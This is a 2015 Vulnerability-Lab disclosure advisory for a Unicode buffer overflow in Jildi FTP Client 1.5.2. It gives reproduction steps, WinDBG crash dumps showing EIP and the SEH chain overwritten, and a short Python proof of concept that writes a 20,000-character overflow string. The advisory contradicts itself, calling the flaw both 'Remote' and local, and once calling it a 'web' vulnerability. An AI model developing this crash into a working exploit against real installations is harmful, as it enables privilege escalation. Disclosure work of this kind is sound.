Document Title: =============== Jildi FTP Client 1.5.2 b1138 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1503 Release Date: ============= 2015-06-03 Vulnerability Laboratory ID (VL-ID): ==================================== 1503 Common Vulnerability Scoring System: ==================================== 6.2 Product & Service Introduction: =============================== JilidFTP is a powerful ftp-client program for Windows, it fast and reliable and with lots of useful features. It supports multi-thread file upload or download , so you can upload or download several files at the same time. The job manager integrates with the Windows scheduler engine ,this provide you more freedom and flexibility to upload or download your files. It can also traces changes within a local directory and apply these changes to remote ftp server .The user-friendly interface lets your software distribution, uploading files to a web-server, and providing archives for various purposes more easily. (Copy of the Homepage: http://de.download.cnet.com/Jildi-FTP-Client/3000-2160_4-10562942.html ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered an unicode buffer overflow vulnerability in the official Jildi FTP Client v1.5.2 (Build 1138) software. Vulnerability Disclosure Timeline: ================================== 2015-06-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Jildi Product: Jildi FTP Client 1.5.2 (Build 1138) Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A buffer overflow software vulnerability has been discovered in the official Jildi FTP Client v1.5.2 (Build 1138) software. The buffer overflow vulnerability allows to include unicode strings to basic code inputs from a system user account to compromise the software process or system. A fail to sanitize the input of the `Name or Address` results in compromise of the software system process. Local attackers are able to include large unicode strings to overwrite the registers (eip, ebp and co.) and gain higher system access privileges. The issue is a classic unicode buffer overflow that is exploitable by local attackers with low or restricted system user accounts. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.2. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Vulnerable Module(s): [+] Name [+] Address Proof of Concept (PoC): ======================= The buffer overflow web vulnerability can be exploited by local attackers with low privilege system user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Copy the AAAA...string from Jildi_FTP.txt to clipboard 2. Open Jildi Ftp and press Connect 3. Paste the data in the Option `Name or Address` and press connect 4. Successful reproduce of the buffer overflow vulnerability! Crash Analysis using WinDBG: Option --> Address (f6c.4fc): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000 eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? 0:000> !exchain 0012ef40: 41414141 Invalid exception stack at 41414141 Crash Analysis using WinDBG: Option --> Name (2ec.dac): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000 eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? 0:000> !exchain 0012ef40: 41414141 Invalid exception stack at 41414141 PoC: Exploitcode filename="Jildi_FTP.txt" junk1="\x41" * 20000 buffer=junk1 textfile = open(filename , 'w') textfile.write(buffer) textfile.close() Security Risk: ============== The security risk of the buffer overflow vulnerability in the Name/Address input parameter is estimated as high. (CVSS 6.2) Credits & Authors: ================== metacom (PwC New Zealand) - [http://www.vulnerability-lab.com/show.php?user=metacom] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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